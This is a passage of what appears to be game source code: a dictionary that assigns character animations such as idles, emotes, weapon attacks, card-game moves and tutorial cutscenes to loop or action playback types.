LOOP['IDLE'], LOOP['IDLE']),'primp_into_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'primp_look_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'primp_outof_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'lute_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'lute_into_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'lute_look_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'lute_outof_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'loom_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'loom_into_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'loom_look_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'loom_outof_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'crazy_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'crazy_look_idle': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'flute_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'flute_look_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'look_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'roar_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'handdig_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'moaning_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'searching_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'speak_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'repair_bench': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'repairfloor_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'repairfloor_into': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'repairfloor_outof': (ACTION['INPLACE_0'], ACTION['INPLACE_0'], ACTION['INPLACE_0']),'screenshot_pose': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'friend_pose': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'haunted_holiday': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'bindPose': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'rigTest': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'wheel_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'kneel': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'kneel_dizzy': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'kneel_fromidle': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'boxing_fromidle': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'boxing_hit_head_right': (ACTION['INPLACE_0'], ACTION['INMOTION_1'], ACTION['INMOTION_1']),'boxing_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'boxing_idle_alt': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'boxing_kick': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'boxing_punch': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'boxing_haymaker': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'wand_cast_start': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'wand_cast_fire': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'wand_cast_idle': (LOOP['IDLE'], LOOP['MOTION'], LOOP['MOTION']),'wand_hurt': (ACTION['INPLACE_0'], ACTION['INMOTION_1'], ACTION['INMOTION_1']),'wand_idle': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'mixing_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'fsh_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'fsh_smallCast': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'fsh_bigCast': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'fsh_smallSuccess': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'fsh_bigSuccess': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'fart': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'burp': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'barf': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'wandCast': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'wandneutral': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'voodoo_draw': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'voodoo_doll_hurt': (ACTION['INPLACE_0'], ACTION['INMOTION_1'], ACTION['INMOTION_1']),'voodoo_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'voodoo_tune': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'voodoo_strafe_left': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'voodoo_strafe_right': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'voodoo_swarm': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'voodoo_walk': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'voodoo_doll_poke': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'bomb_throw': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'bomb_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'bomb_hurt': (ACTION['INPLACE_0'], ACTION['INMOTION_1'], ACTION['INMOTION_1']),'bomb_draw': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'bomb_charge': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'bomb_charge_loop': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'bomb_charge_throw': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'bigbomb_throw': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'bigbomb_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'bigbomb_draw': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'bigbomb_walk': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'bigbomb_walk_back': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'bigbomb_walk_back_left': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'bigbomb_walk_back_right': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'bigbomb_walk_left': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'bigbomb_walk_left_diagonal': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'bigbomb_walk_right': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'bigbomb_walk_right_diagonal': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'bigbomb_charge': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'bigbomb_charge_loop': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'bigbomb_charge_throw': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'gun_draw': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'gun_fire': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'gun_hurt': (ACTION['INPLACE_0'], ACTION['INMOTION_1'], ACTION['INMOTION_1']),'gun_reload': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'gun_pointedup_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'gun_putaway': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'gun_aim_idle': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'rifle_fight_forward_diagonal_left': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'rifle_fight_forward_diagonal_right': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'rifle_fight_walk_back_diagonal_right': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'rifle_fight_walk_back_diagonal_left': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'rifle_fight_run_strafe_right': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'rifle_fight_run_strafe_left': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'rifle_fight_shoot_hip': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'rifle_fight_shoot_high': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'rifle_fight_shoot_high_idle': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'rifle_fight_walk': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'rifle_fight_walk_strafe_left': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'rifle_fight_walk_strafe_right': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'rifle_reload_hip': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'rifle_fight_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'rifle_idle_to_fight_idle': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'blunderbuss_reload': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'bayonet_attackA': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'bayonet_attackB': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'bayonet_attackC': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'bayonet_attack_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'bayonet_attack_walk': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'bayonet_drill': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'bayonet_fall_ground': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'bayonet_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'bayonet_idle_to_fight_idle': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'bayonet_jump': (ACTION['INMOTION_0'], ACTION['INMOTION_0'], ACTION['INMOTION_0']),'bayonet_run': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'bayonet_turn_left': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'bayonet_turn_right': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'bayonet_walk': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'sword_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'sword_draw': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'sword_putaway': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'sword_slash': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'sword_comboA': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'sword_thrust': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'sword_roll_thrust': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'sword_cleave': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'sword_lunge': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'sword_hit': (ACTION['INPLACE_0'], ACTION['INMOTION_1'], ACTION['INMOTION_1']),'broadsword_combo': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'broadsword_combo_motion': (ACTION['INMOTION_2'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'sabre_combo': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'sabre_comboA': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'sabre_comboB': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'sabre_combo_motion': (ACTION['INMOTION_2'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'cutlass_attention': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'cutlass_combo': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'cutlass_hurt': (ACTION['INPLACE_0'], ACTION['INMOTION_1'], ACTION['INMOTION_1']),'cutlass_taunt': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'cutlass_bladestorm': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'cutlass_sweep': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'cutlass_headbutt': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'cutlass_kick': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'cutlass_multihit': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'cutlass_walk_navy': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'dagger_backstab': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'dagger_combo': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'dagger_coup': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'knife_throw': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'dagger_asp': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'dagger_hurt': (ACTION['INPLACE_0'], ACTION['INMOTION_1'], ACTION['INMOTION_1']),'dagger_throw_combo': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'dagger_throw_sand': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'dagger_vipers_nest': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'foil_coup': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'foil_hack': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'foil_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'foil_slash': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'foil_thrust': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'foil_kick': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'sword_advance': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'dualcutlass_comboA': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'dualcutlass_comboB': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'dualcutlass_draw': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'dualcutlass_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'dualcutlass_hurt': (ACTION['INPLACE_0'], ACTION['INMOTION_1'], ACTION['INMOTION_1']),'dualcutlass_walk': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'hand_curse_check': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'hand_curse_get_sword': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'hand_curse_reaction': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'shovel': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'blacksmith_work_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'blacksmith_work_look_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'blacksmith_work_into_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'blacksmith_work_outof_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cargomaster_work_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'cargomaster_work_look_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'cargomaster_work_into_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cargomaster_work_outof_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'shovel_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'shovel_idle_into_dig': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'fishing_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'fishing_pole_cast': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'fishing_pole_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'fishing_drawpole': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'chest_walk': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'chest_strafe_left': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'chest_strafe_right': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'chest_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'chest_putdown': (ACTION['INPLACE_0'], ACTION['INMOTION_1'], ACTION['INMOTION_1']),'chest_kneel_to_steal': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'chest_steal': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'into_deal': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'deal': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'deal_left': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'deal_right': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'deal_idle': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cards_bad_tell': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cards_bet': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cards_cheat': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cards_check': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cards_good_tell': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cards_hide': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cards_hide_hit': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cards_hide_idle': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cards_pick_up': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cards_pick_up_idle': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cards_set_down': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cards_set_down_lose': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cards_set_down_win': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cards_set_down_win_show': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cards_blackjack_hit': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cards_blackjack_stay': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'sweep': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'sweep_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'sweep_look_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'sweep_into_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'sweep_outof_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'rigging_climb': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'tread_water': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'tread_water_into_teleport': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'rope_grab': (ACTION['INMOTION_2'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'rope_grab_from_idle': (ACTION['INMOTION_2'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'rope_board': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'rope_dismount': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'swing_aboard': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'intro': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'jail_dropinto': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'jail_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'jail_standup': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'death': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'death2': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'death3': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'death4': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'kick_door': (ACTION['INMOTION_2'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'kick_door_loop': (LOOP['IDLE'], LOOP['MOTION'], LOOP['MOTION']),'board': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'tentacle_squeeze': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'tentacle_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'sand_in_eyes': (ACTION['INPLACE_0'], ACTION['INMOTION_1'], ACTION['INMOTION_1']),'sand_in_eyes_holdweapon_noswing': (ACTION['INPLACE_0'], ACTION['INMOTION_1'], ACTION['INMOTION_1']),'sand_in_eyes_wWeapon': (ACTION['INPLACE_0'], ACTION['INMOTION_1'], ACTION['INMOTION_1']),'bomb_receive': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'dagger_receive': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'doll_receive': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'staff_receive': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'emote_crazy': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_cut_throat': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_embarrassed': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_face_smack': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_hand_it_over': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_head_scratch': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_nervous': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_scared': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_show_me_the_money': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_shrug': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_sincere_thanks': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_snarl': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_duhhh': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_blow_kiss': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_flirt': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_sassy': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_talk_to_the_hand': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'bayonet_want_fight': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'bayonet_scared': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'0_tut_act_1_1_1_jail': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'0_tut_act_1_1_2_jail': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'tut_1_1_5_a_idle_dan': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'tut_1_1_5_b_dan': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'1_tut_act_1_1_5_a_dan': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'1_tut_act_1_1_5_c_dan': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'0_tut_act_1_2_dock': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'1_tut_act_1_2_dock': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'0_tut_act_1_2_b_dock': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'1_tut_act_1_2_b_dock': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'0_tut_act_1_3_jr_a': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'0_tut_act_1_3_jr_b': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'1_tut_act_1_3_jr_a': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'1_tut_act_1_3_jr_b': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'2_tut_act_1_3_jr_a': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'2_tut_act_1_3_jr_b': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'3_tut_act_1_3_jr_a': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'3_tut_act_1_3_jr_b': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'0_tut_act_2_1_wt': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'0_tut_act_2_1_b_wt': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'1_tut_act_2_1_b_wt': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'2_tut_act_2_1_b_wt': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'3_tut_act_2_1_b_wt': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'0_tut_act_2_3_es': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'0_tut_act_2_4_cb_a': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'0_tut_act_2_4_cb_b': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'0_tut_act_2_4_cb_c': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'0_tut_act_2_2_td': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'1_tut_act_2_2_td': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'2_tut_act_2_2_td': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'3_tut_act_2_2_td': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'4_tut_act_2_2_td': (ACTION['MOVIE'], ACTION['MOVIE'], 